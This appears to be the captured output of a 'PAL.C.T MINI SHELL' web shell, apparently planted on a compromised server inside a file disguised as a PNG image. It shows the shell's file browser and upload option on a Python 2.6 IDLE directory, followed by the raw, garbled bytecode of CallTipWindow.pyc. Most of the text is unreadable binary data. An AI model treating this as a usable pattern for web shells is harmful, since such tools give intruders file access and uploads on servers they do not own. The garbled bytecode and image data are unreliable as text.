php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/CallTipWindow.pyc

Lc@sdZddkTdZdZdZdZd	Zd
ZdddYZd
ddYZ	dZ
edjoe
ndS(sA CallTip window class for Tkinter/IDLE.

After ToolTip.py, which uses ideas gleaned from PySol
Used by the CallTips IDLE extension.

i(t*s<<calltipwindow-hide>>s<Key-Escape>s
<FocusOut>s<<calltipwindow-checkhide>>s<KeyRelease>s<ButtonRelease>idtcalltipwindowregion_righttCallTipcBsJeZdZdZdZddZdZdZdZ	RS(cCsF||_d|_|_d|_|_d|_d|_|_dS(N(	twidgettNonet	tipwindowtlabelt	parenlinetparencoltlastlinethideidtcheckhideid(tselfR((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyt__init__s
		cCs.t|iididd}||ijodS||_|iid||ijo&|iid|i|if}n|iid|}|p0t	|iid}d|d<d|d<n|d|ii
d}|d|d	|ii}|ii
d
||fdS(s;Check if needs to reposition the window, and if so - do it.tinsertt.iNs%d.%ds%d.0iiis+%d+%d(tintRtindextsplitR	tseeRtbboxRtlisttwinfo_rootxtwinfo_rootyRtwm_geometry(Rtcurlinetboxtxty((s+/usr/lib/python2.6/idlelib/CallTipWindow.pytposition_windows %	
c	Cs&t|djoe|i}xCt|D]5\}}t|djo|d d||<q,q,Wdi|}n||_|ip|iodS|iit|t	t
|ii|id\|_
|_t|i|_}|i|idy#|iidd	|id
dWntj
onXt|d|id
tdddtddd|id|_|ii|iit|i|_x!tD]}|ii t|qW|ii!t"|i|iit#|i$|_%x!t&D]}|ii t#|qWdS(sMShow the calltip, bind events which will close it and reposition it.
        iOiKs ...s
NRis!::tk::unsupported::MacWindowStyletstylethelptnoActivatesttexttjustifyt
backgrounds#ffffe0trelieftborderwidthtfont('tlent
splitlinest	enumeratetjoinR!RRtmark_sett
MARK_RIGHTtmapRRRRRtToplevelRtwm_overrideredirectttktcallt_wtTclErrortLabeltLEFTtSOLIDRtpacktbindtCHECKHIDE_VIRTUAL_EVENT_NAMEtcheckhide_eventRtCHECKHIDE_SEQUENCESt	event_addtaftertCHECKHIDE_TIMEtHIDE_VIRTUAL_EVENT_NAMEt
hide_eventR
tHIDE_SEQUENCES(	RR!t	parenleftt
parenrightt	textlinestitlinettwtseq((s+/usr/lib/python2.6/idlelib/CallTipWindow.pytshowtip/sH
	-


cCs|ipdStt|iidid\}}||ijp9||ijo||ijp|iiddt	o|i
n!|i|iit
|idS(NRRt>(RR-RRRRRRtcompareR,thidetipRR=R>R:(RteventRtcurcol((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyR:\s
* 
cCs|ipdS|idS(N(RRL(RRM((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyR@ks
cCs|ipdSx!tD]}|iit|qW|iit|id|_x!tD]}|iit	|qYW|iit	|i
d|_
|iid|_|iid|_|ii
td|_|_|_dS(N(RR;Rtevent_deleteR9tunbindRRRAR?R
Rtdestroyt
mark_unsetR,RRR	(RRH((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyRLqs$
		
	
	cCs
t|iS(N(tboolR(R((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyt	is_activesN(
t__name__t
__module__R
RRIRR:R@RLRT(((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyRs			-		t	containercBs#eZdZdZdZRS(cCst}t|}|_|idtdtdd|idd|it||_	|i
dd|i
d	d
|id|i|id	|i
|i|idS(NtsidetfilltexpandiRsstring.splits<<calltip-show>>t(s<<calltip-hide>>t)(tTktTextR!R7R5tBOTHRtupdateRtcalltipR<R8tcalltip_showtcalltip_hidet	focus_settmainloop(RtrootR!((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyR
s	

cCs|iiddS(NsHello world(RaRI(RRM((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyRbscCs|iidS(N(RaRL(RRM((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyRcs(RURVR
RbRc(((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyRWs		cCs
t}dS(N(RW(tc((s+/usr/lib/python2.6/idlelib/CallTipWindow.pytmainst__main__N(s<Key-Escape>s
<FocusOut>(s<KeyRelease>s<ButtonRelease>(((t__doc__tTkinterR?RAR9R;R>R,RRWRhRU(((s+/usr/lib/python2.6/idlelib/CallTipWindow.pyt<module>s
~	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`